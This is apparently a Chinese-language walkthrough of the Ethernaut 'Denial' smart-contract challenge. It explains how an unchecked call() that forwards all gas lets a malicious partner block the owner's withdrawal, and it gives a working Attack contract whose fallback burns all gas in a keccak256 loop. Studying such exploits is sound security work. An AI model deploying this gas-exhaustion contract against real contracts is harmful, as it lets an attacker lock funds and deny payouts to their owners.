Denial
Reference
目标
作为当前合约的 partner
, 让 owner
地址无法成功退款
分析
withdraw
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
// payable(partner).transfer(amountToSend);
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
partner
通过call()
退款,call发送当前EV吗环境全部剩余的gas
owner
通过transfer()
退款,transfer()/send()
仅发送2300 gas
,transfer()
在转账失败时会revert
整笔交易
Denial
- 作为
partner
,在owner
退款时会通过call
接收转账 call()
转账方式会将caller
的全部gas
发送到新的EVM
执行环境- 作为
partner
,可以在fallback()
函数中消耗完全部的gas
,此时,整笔交易会因为没有多余gas
失败
contract Attack {
bytes32 tt;
fallback() external payable {
while (gasleft() > 0) {
tt = keccak256(abi.encodePacked(msg.sender, tt));
}
}
}
Attack
合约的fallback()
函数一直执行keccak256
操作消耗gas
,直至消耗完全部gas